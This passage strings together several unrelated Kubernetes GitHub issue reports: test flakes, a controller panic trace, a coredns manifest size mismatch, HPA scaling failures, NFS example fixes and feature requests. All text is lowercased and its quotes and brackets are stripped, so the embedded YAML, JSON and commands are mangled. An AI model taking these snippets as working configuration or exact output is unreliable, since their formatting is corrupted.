that this is true. maybe one overrides the other and i got confused?   so all that being said, i consulted k8s documentation, and even tried to dig into the k8s command parsing libraries, but still feel that i don't truly understand how i got things working, only that \ if i use 'this' magic combination of variables it works.\

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-slow-release-1.4/2118/  failed:  k8s.io  pod disks should schedule a pod w/ a readonly pd on two hosts, then remove both ungracefully.  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:256 expected error:     < googleapi.error | 0xc820a1f540>: {         code: 500,         message: \ internal error\ ,         body: \ {\  \\\ error\\\ : {\   \\\ errors\\\ :  \    {\     \\\ domain\\\ : \\\ global\\\ ,\     \\\ reason\\\ : \\\ internalerror\\\ ,\     \\\ message\\\ : \\\ internal error\\\ \    }\    ,\   \\\ code\\\ : 500,\   \\\ message\\\ : \\\ internal error\\\ \  }\ }\ \ ,         header: nil,         errors:               {                 reason: \ internalerror\ ,                 message: \ internal error\ ,             },          ,     }     googleapi: error 500: internal error, internalerror not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:233       previous issues for this test:  29752

in  46761 and  47038, the reconciler_test flakes. here's the details : \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46761/pull-kubernetes-unit/38144/\r    \r reconciler_test.go:509: warning: wrong newattachercallcount. expected: <2> actual: <0>. will retry.\r reconciler_test.go:509: warning: wrong newattachercallcount. expected: <2> actual: <1>. will retry.\r reconciler_test.go:370: volume was not attached to both nodes\r    \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/47038/pull-kubernetes-unit/38054/\r    \r reconciler_test.go:509: warning: wrong newattachercallcount. expected: <2> actual: <0>. will retry.\r reconciler_test.go:370: volume was not attached to both nodes\r

just saw this while running kube master locally:\r \r    \r controller : e0829 23:28:35.313186    4919 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r controller : /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r controller : /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r controller : /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r controller : /data/go/src/runtime/asm_amd64.s:514\r controller : /data/go/src/runtime/panic.go:489\r controller : /data/go/src/runtime/panic.go:63\r controller : /data/go/src/runtime/signal_unix.go:290\r controller : /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/node/scheduler/taint_controller.go:287\r controller : /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/node/node_controller.go:375\r controller : /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/node/util/controller_utils.go:297\r controller : /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:195\r controller : <autogenerated>:57\r controller : /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:545\r controller : /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:381\r controller : /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71\r controller : /data/go/src/runtime/asm_amd64.s:2197\r controller : panic: runtime error: invalid memory address or nil pointer dereference  recovered \r controller :    panic: runtime error: invalid memory address or nil pointer dereference\r controller :  signal sigsegv: segmentation violation code=0x1 addr=0x48 pc=0x1c25ffd \r controller : \r controller : goroutine 953  running :\r controller : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r controller :    /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x126\r controller : panic 0x2ebb520, 0x4e5cad0 \r controller :    /data/go/src/runtime/panic.go:489 +0x2cf\r controller : k8s.io/kubernetes/pkg/controller/node/scheduler.  noexecutetaintmanager .nodeupdated 0x0, 0x0, 0xc421902000 \r controller :    /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/node/scheduler/taint_controller.go:287 +0x1ad\r controller : k8s.io/kubernetes/pkg/controller/node.newnodecontroller.func8 0xc421902000, 0x348f980, 0xc4202a2000 \r controller :    /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/node/node_controller.go:375 +0x44\r controller : k8s.io/kubernetes/pkg/controller/node/util.createaddnodehandler.func1 0x348f980, 0xc4202a2000 \r controller :    /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/node/util/controller_utils.go:297 +0x89\r controller : k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.resourceeventhandlerfuncs.onadd 0xc4218b5960, 0xc4218b5980, 0xc4218b59a0, 0x348f980, 0xc4202a2000 \r controller :    /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:195 +0x49\r controller : k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  resourceeventhandlerfuncs .onadd 0xc4218df520, 0x348f980, 0xc4202a2000 \r controller :    <autogenerated>:57 +0x73\r controller : k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  processorlistener .run 0xc4218e8370 \r controller :    /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:545 +0x287\r controller : k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  processorlistener . k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.run -fm  \r controller :    /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:381 +0x2a\r controller : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.  group .start.func1 0xc42025e758, 0xc4218b59d0 \r controller :    /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71 +0x4f\r controller : created by k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.  group .start\r    \r \r yet to investigate more closely and check which pr could have introduced this. cc @bowei

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   what happened  :\r in our environment, we use \ docker rm\  to delete a \ exited\  k8s-managed container and we found that in kubernetes 1.5, the symlink is also deleted, but in kubernetes1.6, the symlink is not deleted.\r \r when we check the code,we found ,in kubernetes1.5,the symlink is /var/log/containers,in kubernetes1.6,the symlink has two ,/var/log/containers and /var/log/pods\r \r why we have two symlink in kubernetes1.6?\r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

we see this issue in containerd https://github.com/containerd/containerd/issues/2401.\r \r it seems that the size in manifest of  k8s.gcr.io/coredns:1.1.3  is wrong.\r \r in the manifest list, the manifest size is  756 :\r    console\r $ curl -v -h 'host:k8s.gcr.io' -h 'user-agent:go-http-client/1.1' -h 'accept:application/vnd.docker.distribution.manifest.list.v2+json,  ' -h 'accept-encoding:gzip' 'https://k8s.gcr.io/v2/coredns/manifests/sha256:9a239e9d3060aa5acd3d6e898fe405031594676e15e3b1b471f460eeef462583'  \r ...\r       {\r          \ mediatype\ : \ application/vnd.docker.distribution.manifest.v2+json\ ,\r          \ size\ : 756,\r          \ digest\ : \ sha256:ab8aec91742937058f6b307efbd411ba8b49c5392a757431b00fda4bdd4fa588\ ,\r          \ platform\ : {\r             \ architecture\ : \ amd64\ ,\r             \ os\ : \ linux\ \r          }\r       },\r ...\r    \r \r however, the actual manifest size is  950 :\r    console\r $ curl -v -h 'host:k8s.gcr.io' -h 'user-agent:go-http-client/1.1' -h 'accept:application/vnd.docker.distribution.manifest.v2+json,  ' -h 'accept-encoding:gzip' 'https://k8s.gcr.io/v2/coredns/manifests/sha256:ab8aec91742937058f6b307efbd411ba8b49c5392a757431b00fda4bdd4fa588'  | wc -c\r ...\r 950\r    \r \r docker doesn't fail because it is not doing validation. however, containerd does validate it, and fails.\r \r what tools did we use to build this image? /cc @thockin @kubernetes/sig-network-bugs \r /cc @dmcgowan

not sure if this is intentional  - but i have noticed that stopping  ./hack/local-cluster-up.sh  via  control-c  still leaves the sidecar containers such as  kube-dns  etc running:\r \r    \r container id        image                                                                                                      command                  created             status              ports               names                                                                  \r 83dbeb11d560        k8s.gcr.io/k8s-dns-sidecar@sha256:c4f36a12fa297c48cb80779c89f6a58818d1fa7edccb08bc67d79acacc3871d7         \ /sidecar --v=2 --...\    3 hours ago         up 3 hours                              k8s_sidecar_kube-dns-8f7866879-hgkdc_kube-system_2d9a2e3d-f733-11e8-a1cd-7085c2612a26_0\r 720ea1c3d824        k8s.gcr.io/k8s-dns-dnsmasq-nanny@sha256:096e2285e5aaa2ce38532993d8bfd95da92e9b73fc75e9078e18891caf6a220e   \ /dnsmasq-nanny -v...\    3 hours ago         up 3 hours                              k8s_dnsmasq_kube-dns-8f7866879-hgkdc_kube-system_2d9a2e3d-f733-11e8-a1cd-7085c2612a26_0\r cee301128da2        k8s.gcr.io/k8s-dns-kube-dns@sha256:c54a527a4ba8f1bc15e4796b09bf5d69313c7f42af9911dc437e056c0264a2fe        \ /kube-dns --domai...\    3 hours ago         up 3 hours                              k8s_kubedns_kube-dns-8f7866879-hgkdc_kube-system_2d9a2e3d-f733-11e8-a1cd-7085c2612a26_0\r 67681ed20e2d        k8s.gcr.io/pause:3.1                                                                                       \ /pause\                  3 hours ago         up 3 hours                              k8s_pod_kube-dns-8f7866879-hgkdc_kube-system_2d9a2e3d-f733-11e8-a1cd-70\r    \r \r i know we probably can't delete user pods but it seems like an oversight to leave this containers running. it causes endless spam in journcal logs:\r \r    \r dec 03 17:52:50 xaos.lan dockerd-current 1171 : e1203 22:52:50.537246       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:189: failed to list  v1.endpoints: get https://10.0.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.0.0.1:443: connect: connection refused               \r dec 03 17:52:51 xaos.lan dockerd-current 1171 : e1203 22:52:51.537287       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:192: failed to list  v1.service: get https://10.0.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.0.0.1:443: connect: connection refused                  \r dec 03 17:52:51 xaos.lan dockerd-current 1171 : e1203 22:52:51.537966       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:189: failed to list  v1.endpoints: get https://10.0.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.0.0.1:443: connect: connection refused               \r dec 03 17:52:51 xaos.lan packagekit 22426 : search-file transaction /311_edabebde from uid 1000 finished with success after 2012ms\r dec 03 17:52:52 xaos.lan dockerd-current 1171 : e1203 22:52:52.538453       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:192: failed to list  v1.service: get https://10.0.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.0.0.1:443: connect: connection refused   \r    \r \r

i am working on introducing pod level cgroups in kubernetes. and i need to access the pod uid from inside the container. i was looking into the downward api docs and couldn't find pod uid being exposed. i believe we should be exposing the pod uid aswell. cc @kubernetes/sig-node

kubernetes version    use  kubectl version  :\r 1.6.2\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : container linux by coreos v1381.1.0\r -   kernel    e.g.  uname -a  : v4.10.12\r \r \r \r   what happened  :\r i deployed an app as daemon set. it failed to run the pod on one of the nodes due to the following reason: \r     46m\t\t46m\t\t87\tdaemonset-controller\t\t\tnormal\t\tfailedplacement\t\tfailed to place pod on \ ip-xx-xx-xx-xx.us-west-2.compute.internal\ : node didn't have enough resource: memory, requested: 1073741824, used: 25347227648, capacity: 26225393664   \r \r i freed up enough resources memory  on the node so it can run my daemonset pod, but it never gets scheduled. as per the event above, it tried 87 times but then it stops trying.\r \r \r   what you expected to happen  :\r i expected controller manager to retry infinitely  w/ max backoff of 2 mins  to schedule my daemonset pod and succeed when the resources are available.\r \r   how to reproduce it    as minimally and precisely as possible :\r try to deploy a daemonset on nodes with no available resources. wait for 30m or so before freeing the required resources. daemonset pod doesn't get deployed after the resources become available.\r \r   anything else we need to know  :\r \r

  \r   what happened  :\r i followed the steps of examples/volumes/nfs and i did not get a working nfs server.  what appeared to happen was my \ nfs\  pvc was created and bound to a new pd, instead of being bound to the new unbound \ nfs\  pv.  the gce-pd provisioner appears to satisfy any requests with a  storageclassname: standard , and the default behavior appears to be applying this storageclassname to any pvc that doesn't have one  it's a feature? \r \r   what you expected to happen  :\r i just expected to \r \r   how to reproduce it  as minimally and precisely as possible   :\r follow the steps in examples/volumes/nfs/readme.md and don't read the solution in this gist:\r https://gist.github.com/kingdonb/78f82adf9d3507aab6f397b0dd2526c3\r \r   anything else we need to know?  :\r the solution is in this gist:\r https://gist.github.com/kingdonb/78f82adf9d3507aab6f397b0dd2526c3\r \r  apply a storageclassname: something else \r \r there's something else you need to know,  33447 -- users have been reporting that this example does not work for a while, and there is an e2e that is said to fail too.  this thread terminates with some further information you need, but it's included in the gist above.\r \r without the information about storageclassname  i'm guessing something changed there since may, maybe you're applying a default storageclassname of 'standard' because people were having trouble figuring out how to get pvcs satisfied by gce-pd automatically? don't know... \r \r > edit  examples/volumes/nfs/nfs-pv.yaml \r > change the last line to  path: \ /\  \r > \r > edit  examples/volumes/nfs/nfs-server-rc.yaml \r > change the image to the one that enabled nfsv4\r >  image: gcr.io/google_containers/volume-nfs:0.8 \r \r above, is the important part of that thread needed to fix the example.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r kingdon@gke-temp:~/kubernetes$\r \r - cloud provider or hardware configuration  :\r google container engine cluster  defaults, node version 1.6.4 \r \r other details  eg. kernel  are irrelevant, gke standard cluster with default options.\r \r i have verified that by making the changes in the gist, the example can be made to work again.  changes to the filesystem are reflected on two busybox clients and on the nfs server in /exports/\r \r try it, please update the example so that it works.  this was a lot of goose chasing!  i will provide pr if there is no other feedback, but i do not yet have a cla.  from the changes i made in the gist, you probably do not need the \ id\  label selector.

/cc @kubernetes/sig-api-machinery-bugs \r \r this test is failing on several of the 1.7 to master upgrade tests\r \r https://k8s-testgrid.appspot.com/master-upgrade gke-cvm-1.7-cvm-master-upgrade-cluster-new\r https://k8s-testgrid.appspot.com/master-upgrade gke-cvm-1.7-gci-master-upgrade-cluster-new\r https://k8s-testgrid.appspot.com/master-upgrade gke-gci-1.7-cvm-master-upgrade-cluster-new\r https://k8s-testgrid.appspot.com/master-upgrade gke-gci-1.7-gci-master-upgrade-cluster-new\r \r example failures\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-new-cvm-master-upgrade-cluster-new/133 sig-api-machinery-garbage-collector-should-support-cascading-deletion-of-custom-resources\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new/135 sig-api-machinery-garbage-collector-should-support-cascading-deletion-of-custom-resources\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apimachinery/garbage_collector.go:936\r aug 16 13:36:37.288: failed waiting for dependent resource \ dependentf7vbw\  to be deleted\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apimachinery/garbage_collector.go:924\r    \r \r cc @kubernetes/release-maintainers @mbohlool

 \r   what happened  : the --cloud-provider flag controls both which control loops are run and which plugin is loaded. however the volume controller loop is still being run in the kube-controller-manager. the volume controller manager needs the appropriate plugin initialized if it is going to control things like gce persistent disk or aws elastic block store.\r \r   what you expected to happen  : we should have a second flag to separate the two behaviors we want to control. that way we run only the \ external\  control loops but still load the appropriate plugin.  gce_pd, aws_ebs, ... \r \r   how to reproduce it  as minimally and precisely as possible   : run \ external\  on a cloud provider with custom volumes and note they do not come up. \r \r   anything else we need to know?  : nope\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

rktnetes is the old, in-tree rkt integration.  rktlet  https://github.com/kubernetes-incubator/rktlet  is new integration via cri. \r we should deprecate and remove the rktnetes integration once rktlet is ready to take over.\r \r based on the  deprecation policy  https://kubernetes.io/docs/reference/deprecation-policy/ , i think we can announce the deprecation of rktnetes once rktlet is ready, and remove the integration after one more release.\r \r /cc @kubernetes/sig-node-bugs \r @lucab @iaguis @kinvolk, who have been working on rktlet\r @euank @yifan-gu, who are the owners of rktnetes\r @philips @thockin @dchen1107 \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r \r    \r  root@ib17b03 ~   kubectl  version\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.3-11+f747daa02c9ffb\ , gitcommit:\ f747daa02c9ffba3fabc9f679b5003b3f7fcb2c0\ , gittreestate:\ clean\ , builddate:\ 2017-08-28t07:04:45z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.3-11+f747daa02c9ffb\ , gitcommit:\ f747daa02c9ffba3fabc9f679b5003b3f7fcb2c0\ , gittreestate:\ clean\ , builddate:\ 2017-08-28t07:04:45z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r up-to-date value of federation deployment is always 0.\r \r this is the federation deployment\r    \r   kubectl get deployment --all-namespaces\r namespace   name        desired   current   up-to-date   available   age\r db          mariadb     1         1         0            0           1h\r dbs         wordpress   1         1         0            0           1h\r default     nginx       1         1         0            1           2h\r dev         nginx       2         2         0            2           2h\r qa          nginx       2         2         0            2           1h\r \r   kubectl get clusters\r name       status    age\r cluster1   ready     3h\r cluster2   ready     2h\r    \r \r and there is deployment from child cluster\r    \r   kubectl get deployment --namespace=qa\r name      desired   current   up-to-date   available   age\r nginx     2         2         2            2           1h\r \r   kubectl get deployment --namespace=dev\r name      desired   current   up-to-date   available   age\r nginx     2         2         2            2           2h\r    \r \r the  up-to-date  value of federation deployment should be consistent with child cluster.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

what happened  :\r \r suppose we filled the iscsi pv spec and we have  tp  and  portal  as  ip1\  and \ ip2,\ ip3  and the controller/node on iscsi target of \ ip3\  failed or taken out for maintenance.  currently this path is  always  failure from here on. even if admin replaced this node or brought up a new node with new portal ip,  how can app pod make use of new path/ip ? or how can admin update iscsi pv spec with the new portal ip?\r \r \r   what you expected to happen  :\r provide a manual or automatic method to get the new portal listed in the iscsi pv spec or come up with a process to make use of new portal/ip.\r \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r user powershell environment variables to store user input string to prevent command line injection, the env var in powershell would be taken as literal values and not as executable vulnerable code, this kind of fix is common for command line injection issue  called: parameterized way \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r   /assign

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r tried to deploy the metrics server on top of an existing bootkube installation, but hpa reports failedrescale.\r \r    \r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   name: hpatest\r   namespace: default\r spec:\r   maxreplicas: 3\r   minreplicas: 1\r   scaletargetref:\r     apiversion: apps/v1\r     kind: deployment\r     name: hpatest\r   targetcpuutilizationpercentage: 2500\r ---\r apiversion: apps/v1\r kind: deployment\r metadata:\r   labels:\r     run: hpatest\r   name: hpatest\r   namespace: default\r spec:\r   progressdeadlineseconds: 600\r   replicas: 1\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       run: hpatest\r   strategy:\r     rollingupdate:\r       maxsurge: 1\r       maxunavailable: 1\r     type: rollingupdate\r   template:\r     metadata:\r       labels:\r         run: hpatest\r     spec:\r       containers:\r       - name: hpatest\r         image: \ centos:7\ \r         command:   \ /bin/sh\ , \ -c\ , \ --\   \r         args:   \ while true; do yum -y install epel-release && yum -y install stress && stress --cpu 1 --timeout 900s; sleep 300; done\   \r         resources:\r           requests:\r             cpu: 10m\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r    \r \r    \r $ kubectl describe hpa hpatest\r name:                                                  hpatest\r namespace:                                             default\r labels:                                                <none>\r annotations:                                           kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ autoscaling/v1\ ,\ kind\ :\ horizontalpodautoscaler\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ hpatest\ ,\ namespace\ :\ default\ },\ spec\ :{\ maxreplic...\r creationtimestamp:                                     thu, 09 aug 2018 22:46:02 +0000\r reference:                                             deployment/hpatest\r metrics:                                                 current / target  \r   resource cpu on pods   as a percentage of request :  <unknown> / 2500%\r min replicas:                                          1\r max replicas:                                          3\r conditions:\r   type            status  reason             message\r   ----            ------  ------             -------\r   abletoscale     false   failedupdatescale  the hpa controller was unable to update the target scale: could not update the scale for deployments.apps hpatest: internal error occurred: converting  extensions.deployment .replicas to  v1.scale .replicas: selector not present in src\r   scalingactive   true    validmetricfound   the hpa was able to successfully calculate a replica count from cpu resource utilization  percentage of request \r   scalinglimited  true    toomanyreplicas    the desired replica count is more than the maximum replica count\r events:\r   type     reason                        age                from                       message\r   ----     ------                        ----               ----                       -------\r   warning  failedgetresourcemetric       1m  x4 over 2m     horizontal-pod-autoscaler  unable to get metrics for resource cpu: no metrics returned from resource metrics api\r   warning  failedcomputemetricsreplicas  1m  x4 over 2m     horizontal-pod-autoscaler  failed to get cpu utilization: unable to get metrics for resource cpu: no metrics returned from resource metrics api\r   warning  failedrescale                 27s  x2 over 57s   horizontal-pod-autoscaler  new size: 3; reason: cpu resource utilization  percentage of request  above target; error: could not update the scale for deployments.apps hpatest: internal error occurred: converting  extensions.deployment .replicas to  v1.scale .replicas: selector not present in src\r    \r \r   what you expected to happen  :\r \r expected pods to scale up from 1 to 3.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. run bootkube to provision a 1.10 cluster on aws\r 2. add apiserver flags\r 3. deploy metrics-server\r 4. deploy hpa\r \r   anything else we need to know?  :\r \r apiserver flags:\r    \r +        - --requestheader-client-ca-file=/etc/kubernetes/secrets/ca.crt\r +        - --requestheader-allowed-names=aggregator,kube-apiserver\r +        - --requestheader-extra-headers-prefix=x-remote-extra-\r +        - --requestheader-group-headers=x-remote-group\r +        - --requestheader-username-headers=x-remote-user\r +        - --proxy-client-cert-file=/etc/kubernetes/secrets/apiserver.crt\r +        - --proxy-client-key-file=/etc/kubernetes/secrets/apiserver.key\r    \r \r    \r $ kubectl describe hpa hpatest\r name:                                                  hpatest\r namespace:                                             default\r labels:                                                <none>\r annotations:                                           kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ autoscaling/v1\ ,\ kind\ :\ horizontalpodautoscaler\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ hpatest\ ,\ namespace\ :\ default\ },\ spec\ :{\ maxreplic...\r creationtimestamp:                                     thu, 09 aug 2018 22:46:02 +0000\r reference:                                             deployment/hpatest\r metrics:                                                 current / target  \r   resource cpu on pods   as a percentage of request :  <unknown> / 2500%\r min replicas:                                          1\r max replicas:                                          3\r conditions:\r   type            status  reason             message\r   ----            ------  ------             -------\r   abletoscale     false   failedupdatescale  the hpa controller was unable to update the target scale: could not update the scale for deployments.apps hpatest: internal error occurred: converting  extensions.deployment .replicas to  v1.scale .replicas: selector not present in src\r   scalingactive   true    validmetricfound   the hpa was able to successfully calculate a replica count from cpu resource utilization  percentage of request \r   scalinglimited  true    toomanyreplicas    the desired replica count is more than the maximum replica count\r events:\r   type     reason                        age                from                       message\r   ----     ------                        ----               ----                       -------\r   warning  failedgetresourcemetric       1m  x4 over 2m     horizontal-pod-autoscaler  unable to get metrics for resource cpu: no metrics returned from resource metrics api\r   warning  failedcomputemetricsreplicas  1m  x4 over 2m     horizontal-pod-autoscaler  failed to get cpu utilization: unable to get metrics for resource cpu: no metrics returned from resource metrics api\r   warning  failedrescale                 27s  x2 over 57s   horizontal-pod-autoscaler  new size: 3; reason: cpu resource utilization  percentage of request  above target; error: could not update the scale for deployments.apps hpatest: internal error occurred: converting  extensions.deployment .replicas to  v1.scale .replicas: selector not present in src\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.6\ , gitcommit:\ a21fdbd78dde8f5447f5f6c331f7eb6f80bd684e\ , gittreestate:\ clean\ , builddate:\ 2018-07-26t10:04:08z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.6\ , gitcommit:\ a21fdbd78dde8f5447f5f6c331f7eb6f80bd684e\ , gittreestate:\ clean\ , builddate:\ 2018-07-26t10:04:08z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: \r aws\r \r - os  e.g. from /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1745.7.0\r version_id=1745.7.0\r build_id=2018-06-14-0909\r pretty_name=\ container linux by coreos 1745.7.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r \r - kernel  e.g.  uname -a  :\r linux ip-10-11-13-13.ec2.internal 4.14.48-coreos-r2  1 smp thu jun 14 08:23:03 utc 2018 x86_64 intel r  xeon r  platinum 8175m cpu @ 2.50ghz genuineintel gnu/linux\r \r - install tools:\r bootkube\r \r - others:\r docker version\r client:\r  version:      17.03.2-ce\r  api version:  1.27\r  go version:   go1.7.6\r  git commit:   2360430\r  built:        thu jun 14 08:42:43 2018\r  os/arch:      linux/amd64\r \r server:\r  version:      17.03.2-ce\r  api version:  1.27  minimum version 1.12 \r  go version:   go1.7.6\r  git commit:   2360430\r  built:        thu jun 14 08:42:43 2018\r  os/arch:      linux/amd64\r  experimental: false

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r rename  namespaceselector  in mutatingwebhookconfiguration object\r \r   why is this needed  :\r to make it more clear for users we should specify that this selector is looking at label of namespace and not namespace metadata.\r the name should be something like :  namespacelabelselector \r

